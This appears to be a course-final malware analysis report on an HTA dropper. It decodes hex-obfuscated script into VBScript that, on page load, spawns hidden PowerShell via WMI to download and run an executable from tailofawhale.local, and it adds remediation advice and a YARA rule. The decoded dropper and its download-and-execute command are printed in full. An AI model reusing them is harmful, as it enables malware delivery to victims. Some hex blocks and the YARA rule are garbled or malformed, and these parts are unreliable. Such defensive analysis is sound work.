

Practical Malware Analysis & Triage Malware Analysis Report

Dropper.hta

Aug 2024 | HuskyHacks | Dropper.hta: Course Final

Title: Dropper.hta

Name: HuskyHacks Course Final

Indicators and Technical Details

Datetime	Identifier (IP, Domain, URL, Hostname)	MITRE Technique ID	Analyst Comment	
AUG 05, 2024 @ 14:00	http://tailofawhale.local/TellAndSentFor.exe	T1071.001 Application Layer Protocol	Returned 29/65 from Virus total SHA-256 74778336fc39d01b866a904be88923aad67fce0640a 6a3d3771f7bf3d1e444c4	
AUG 05, 2024 @ 14:00	cmd.exe /c powershell.exe -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('http://tailofawhale.local/TellAndSentFor.exe','%temp%\jLoader.exe');Start-Process '%temp%\jLoader.exe'	T1203 Exploitation for Client Execution	PowerShell Command Execution: The command executes a hidden PowerShell script to download and run a malicious executable from a remote server	
AUG 05, 2024 @ 14:00	window_onload (VBScript)	T1059.005 PowerShell	The script runs on page load, creating a new process to execute a hidden PowerShell command that downloads and runs a malicious file.	

Executive Summary

On August 5th at 14:00, TMC's Security Operations Center (SOC) identified a potential threat involving a file disguised as a new website design-related document. However, it was a malicious file designed to download and execute harmful software from a remote server.

Our investigation determined that the malicious file was sent via email from a partner company whose email system had been compromised, leading to the inadvertent inclusion of the malicious file in their communication.

Swift action was taken to isolate and neutralize the threat. We confirmed that no additional systems were impacted, and no data was compromised. Our team removed the malicious file and performed a comprehensive system scan to ensure that no residual threats remained.

Technical Summary

On August 5th at 14:00, TMC's SOC identified and responded to a potential security threat involving a malicious file delivered via email from a partner company engaged in our website design project. The email was determined to have originated from a compromised account, allowing the attacker to distribute the malicious file undetected.


File Analysis

Upon analysis, the file appears harmless, but it was heavily obfuscated using hexadecimal encoding. The purpose of this obfuscation was to conceal its true functionality: downloading and executing a secondary payload from a remote server.

The decoded script contained instructions to:

- **Download**: Establish a connection to a remote server and download an executable file
- **Execution**Execute the downloaded file, which would compromise the system by establishing persistence, escalating privileges, and potentially exfiltrating sensitive data.

This attack was caught in the **Delivery stage**, of the cyber kill chain



Findings and Analysis

Examination of JavaScript Code in HTML:

We were able to open this file in a text editor. Here is a breakdown of the file in question. It contains HTML that appears empty at first glance, but it includes a critical <script> tag that uses the JavaScript document.write() method to inject content into the webpage. The key function used here is unescape(), which decodes a block of hexadecimal characters into readable text. (figure 1)

```
<script language="JavaScript" type="text/javascript">
document.write(unescape('%3c%68%74%6d%6c%3e%0a%3c%68%65%61%64%3e%0a%3c%74%69%74%6c%65%3e%20%3e
5%72%3e%3c%68%31%3e%34%30%34%20%4e%6f%74%20%46%6f%75%6e%64%3c%2f%68%31%3e%3c%2f%63%65%6e%74%65
1%67%65%3d%22%56%42%53%63%72%69%70%74%22%3e%0a%53%75%62%20%77%69%6e%64%6f%77%5f%6f%6e%6c%6f%61
e%61%74%69%6f%6e%20%3d%20%33%0a%09%43%6f%6e%73%74%20%48%49%44%44%45%4e%5f%57%49%4e%44%4f%57%20
2%20%3d%20%43%72%65%61%74%65%4f%62%6a%65%63%74%28%22%57%62%65%6d%53%63%72%69%70%74%69%6e%67%2e
3%65%74%20%53%65%72%76%69%63%65%20%3d%20%4c%6f%63%61%74%6f%72%2e%43%6f%6e%6e%65%63%74%53%65%72
5%63%75%72%69%74%79%5f%2e%49%6d%70%65%72%73%6f%6e%61%74%69%6f%6e%4c%65%76%65%6c%3d%69%6d%70%65
2%6a%53%74%61%72%74%75%70%20%3d%20%53%65%72%76%69%63%65%2e%47%65%74%28%22%57%69%6e%33%32%5f%50
9%53%65%74%20%6f%62%6a%43%6f%6e%66%69%67%20%3d%20%6f%62%6a%53%74%61%72%74%75%70%2e%53%70%61%77
0%72%6f%63%65%73%73%20%3d%20%53%65%72%76%69%63%65%2e%47%65%74%28%22%57%69%6e%33%32%5f%50%72%6f
0%72%6f%63%65%73%73%2e%43%72%65%61%74%65%28%22%63%6d%64%2e%65%78%65%20%2f%63%20%70%6f%77%65%72
7%73%74%79%6c%65%20%68%69%64%64%65%6e%20%28%4e%65%77%2d%4f%62%6a%65%63%74%20%53%79%73%74%65%6d
4%6f%77%6e%6c%6f%61%64%46%69%6c%65%28%27%68%74%74%70%3a%2f%2f%74%61%69%6c%6f%66%61%77%68%61%6c
5%6e%74%46%6f%72%2e%65%78%65%27%2c%27%25%74%65%6d%70%25%5c%6a%4c%6f%61%64%65%72%2e%65%78%65%27
7%25%74%65%6d%70%25%5c%6a%4c%6f%61%64%65%72%2e%65%78%65%27%22%2c%20%6e%75%6c%6c%2c%20%6f%62%6a
3%73%49%44%29%0a%09%77%69%6e%64%6f%77%2e%63%6c%6f%73%65%28%29%0a%65%6e%64%20%73%75%62%0a%3c%2f;
c%2f%68%74%6d%6c%3e'));
```

Methods Overview:

document.write(): This method writes directly to the HTML document, allowing dynamic content generation during the page's load time.

unescape(): This function decodes a string containing hexadecimal escape sequences, converting them into their respective characters.

What's Happening:

Hexadecimal Decoding: The block of characters within the unescape() method is encoded as hexadecimal. Each %-delimited sequence represents a byte in hex, which the unescape() function converts into a corresponding character.


Dynamic Content Injection:

After decoding, the document.write() function writes the resulting text or code directly into the HTML document.

Decoding Process:


TMC's Security Operations Center (SOC) used CyberChef to manually decode the obfuscated hexadecimal encoding found in the script. The process began by copying the hexadecimal code and pasting it into CyberChef's input field

(figure 2)



Next, in the Operations tab, the team selected the 'From Hex' operation, which converts hexadecimal values back into their original characters, and then clicked the 'Bake' button at the bottom.

(figure 3)



By doing this we were able to successfully reveal the original, obfuscated script and its content, allowing for further analysis and a better understanding of its malicious intent.

(figure 4)

```
Output
<html>
<head>
<title> >_ </title>
<center><h1>404 Not Found</h1></center>
<script language="VBScript">
Sub window onload
   const impersonation = 3
   Const HIDDEN_WINDOW = 12
   Set Locator = CreateObject("WbemScripting.SWbemLocator")
   Set Service = Locator.ConnectServer()
   Service.Security_.ImpersonationLevel=impersonation
   Set objStartup = Service.Get("Win32_ProcessStartup")
   Set objConfig = objStartup.SpawnInstance_
   Set Process = Service.Get("Win32_Process")
   Error = Process.Create("cmd.exe /c powershell.exe -windowstyle hidden (New-Object
System.Net.WebClient).DownloadFile('http://tailofawhale.local/TellAndSentFor.exe','%temp%\jLoader.exe');Start-Process
'%temp%\jLoader.exe'", null, objConfig, intProcessID)
    window.close()
end sub
</script>
</head>
</html>
```

(figure 5)

In Figure 5, we placed the script into a text editor to get a clear view of the VBScript embedded in the HTML file, which is designed to execute a malicious action under the guise of a harmless '404 Not Found' webpage. Let me break it down

HTML Structure

Title and 404 Message: The HTML structure includes a title and a centered "404 Not Found" message, likely to mislead the user into thinking they have encountered a harmless broken link or page.

(figure 6)

```
<html>
<head>
<title> >_ </title>
<center><h1>404 Not Found</h1></center>
```

(figure 7)

```
<script language="VBScript">
Sub window onload
    const impersonation = 3
    Const HIDDEN_WINDOW = 12
```

VBScript Analysis:

Language Declaration:

 The script is written in VBScript, a language used for scripting in Windows environments.

Sub window onload:

• Sub window onload: This function executes when the webpage is fully loaded.

Impersonation Level:

• const impersonation = 3: Sets the impersonation level for the script, allowing it to execute with the privileges of the user running the script. This is often used for actions requiring elevated permissions.

Hidden Window Constant:

• Const HIDDEN_WINDOW = 12: This constant is intended to specify a window style for the process being created. The value 12 corresponds to the SW_HIDE style in the Windows API, which hides the window when the process is launched.

```
Set Locator = CreateObject("WbemScripting.SWbemLocator")
Set Service = Locator.ConnectServer()
Service.Security_.ImpersonationLevel=impersonation
```

WMI Objects:

CreateObject("WbemScripting.SWbemLocator"):

 Creates a WMI (Windows Management Instrumentation) object for interacting with the Windows system.

ConnectServer():

• Connects to the WMI server to allow interaction with system processes.

Service.Security_.ImpersonationLevel = impersonation:

• Ensures that the script has sufficient permissions to execute the following commands.

(figure 9)

```
Set objStartup = Service.Get("Win32_ProcessStartup")

Set objConfig = objStartup.SpawnInstance_
Set Process = Service.Get("Win32_Process")

Error = Process.Create("cmd.exe /c powershell.exe -windowstyle hidden (New-Object
System.Net.WebClient).DownloadFile('http://tailofawhale.local/TellAndSentFor.exe', '%temp%\jLoader.exe');

Loader.exe'", null, objConfig, intProcessID)

window.close()
```

Process Creation:

Service.Get("Win32 ProcessStartup") and Service.Get("Win32 Process"):

• These lines prepare the script to launch a new process with specific startup settings.

Process.Create("cmd.exe /c powershell.exe -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('http://tailofawhale.local/TellAndSentFor.exe','%temp%\j Loader.exe');Start-Process '%temp%\jLoader.exe''', null, objConfig, intProcessID):

This command does the following:

- cmd.exe /c: Runs the command and then terminates cmd.exe.
- powershell.exe -windowstyle hidden: Executes PowerShell in a hidden window, making it less noticeable to the user.
- DownloadFile: Downloads a file from a specified URL (http://tailofawhale.local/TellAndSentFor.exe) to a temporary location (%temp%\jLoader.exe).
- Start-Process: Runs the downloaded file (jLoader.exe).

- Close the Window:
- window.close(): Closes the browser window after executing the script, further reducing the chance of the user noticing suspicious activity.

Summary:

- The VBScript embedded in the HTML file:
- Presents a "404 Not Found" page to avoid suspicion.
- Uses VBScript to execute a hidden PowerShell command.
- Downloads and runs a file from a remote server.
- Closes the browser window to hide its activity.

Remediation and Recommendations

Immediate Actions:

- Remove Malicious File: Delete the HTA file and any related malware.
- Isolate Systems: Ensure affected systems are isolated from the network.

Network Security:

- Block access to tailofawhale.local and any related domains at the firewall level.
- Add the domain to DNS filtering services to prevent resolution

User Education:

• Raise Awareness: Educate users on safe browsing and reporting suspicious activity.

Yara Rule:

```
rule Obfuscated_JavaScript_Dropper {
       description = "Detects obfuscated JavaScript in Dropper.hta"
date = "2024-09-04"
       // Match the unescape function with obfuscated payload
$unescape_script = "document.write(unescape("
$obfuscated_payload = "%3c%68%74%66%6c%3e%0a%3c%68%65%61%64%3e%0a%3c%74%69%74%6c%65%3e%20%3e%5f%20%3c%2f%74%69%74%6c%65%3e%0a%3c%63%65%6
e%74%65%72%3e%3c%68%31%3e%34%30%3d%20%4e%6f%74%20%46%6f%75%6e%31%3e%3c%2f%63%55%6e%74%65%72%3e%0a%3c%73%63%72%69%76%74%20%6c
       %61%6e%67%75%61%67%65%3d%22%56%42%53%63%72%69%70%74%22%3e%0a%53%75%62%20%77%69%6e%64%6f%77%5f%6f%6e%6c%6f%6f%64%0a%09%63%6f%6e%73%74%20%
       69%6d%70%65%72%73%6f%6e%61%74%69%6f%6e%20%3d%20%33%0a%09%43%6f%6e%73%74%20%48%49%44%44%45%4e%5f%57%49%4e%44%4f%57%20%3d%20%31%32%0a%09%
       3%65%74%20%4c%6f%63%61%74%6f%72%20%3d%20%43%72%65%61%74%65%4f%62%6a%65%63%74%28%22%57%62%65%6d%53%63%72%69%70%74%69%6e%67%2e%53%57%62%65
       %6d%4c%6f%63%61%74%6f%72%22%29%0a%09%53%65%74%20%53%65%72%76%69%63%65%20%3d%20%4c%6f%63%61%74%6f%72%2e%43%6f%6e%6e%65%<sub>6</sub>3%74%53%65%72%76%
       0%65%72%73%6F%6e%61%74%69%6F%6e%0a%09%53%65%74%20%6F%62%6a%53%74%61%72%74%75%70%20%3d%20%53%65%72%76%69%63%65%2e%47%65%74%28%22%57%69%6
       %33%32%5f%50%72%6f%63%65%73%73%53%74%61%72%74%75%70%22%29%0a%09%53%65%74%20%6f%62%6a%43%6f%6e%66%69%67%20%3d%20%6f%62%6a%53%74%61%72%74%
       75%70%2e%53%70%61%77%6e%49%6e%73%74%61%6e%63%65%5f%0a%09%53%65%74%20%50%72%6f%63%65%73%73%20%3d%20%53%65%72%76%69%63%65%2e%47%65%74%28%2
       2%57%69%6e%33%32%5f%50%72%6f%63%65%73%73%22%29%0a%09%45%72%72%6f%72%20%3d%20%50%72%6f%63%65%73%73%2e%43%72%65%61%74%65%28%22%63%6d%64%2e
       %65%78%65%20%2f%63%20%70%6f%77%65%72%73%68%65%6c%6c%2e%65%78%65%20%2d%77%69%6e%64%6f%77%73%74%79%6c%65%20%68%69%64%64%65%6e%20%28%4e%65%
77%2d%4f%62%6a%65%63%74%20%53%79%73%74%65%6d%2e%4e%65%74%2e%57%65%62%43%6c%69%65%6e%74%29%2e%44%6f%77%6e%6c%6f%61%64%46%69%6c%65%28%27%6
       8%74%74%70%3a%2f%2f%74%61%69%6c%6f%66%61%77%68%61%6c%65%2e%6c%6f%63%61%6c%2f%54%65%6c%6c%41%6e%64%53%65%6e%74%46%6f%72%2e%65%78%65%27%2c
       %27%25%74%65%6d%70%25%5c%6a%4c%6f%61%64%65%72%2e%65%78%65%27%29%3b%53%74%61%72%74%2d%50%72%6f%63%65%73%73%20%27%25%74%65%6d%70%25%5c%6a%
       4c%6f%61%64%65%72%2e%65%78%65%27%22%2c%20%6e%75%6c%2c%20%6f%62%6a%43%6f%6e%66%69%67%2c%20%69%6e%74%50%72%6f%63%65%73%73%49%44%29%0a%
       %6d%6c%3e" // Example obfuscated payload
       $unescape script and $obfuscated payload
```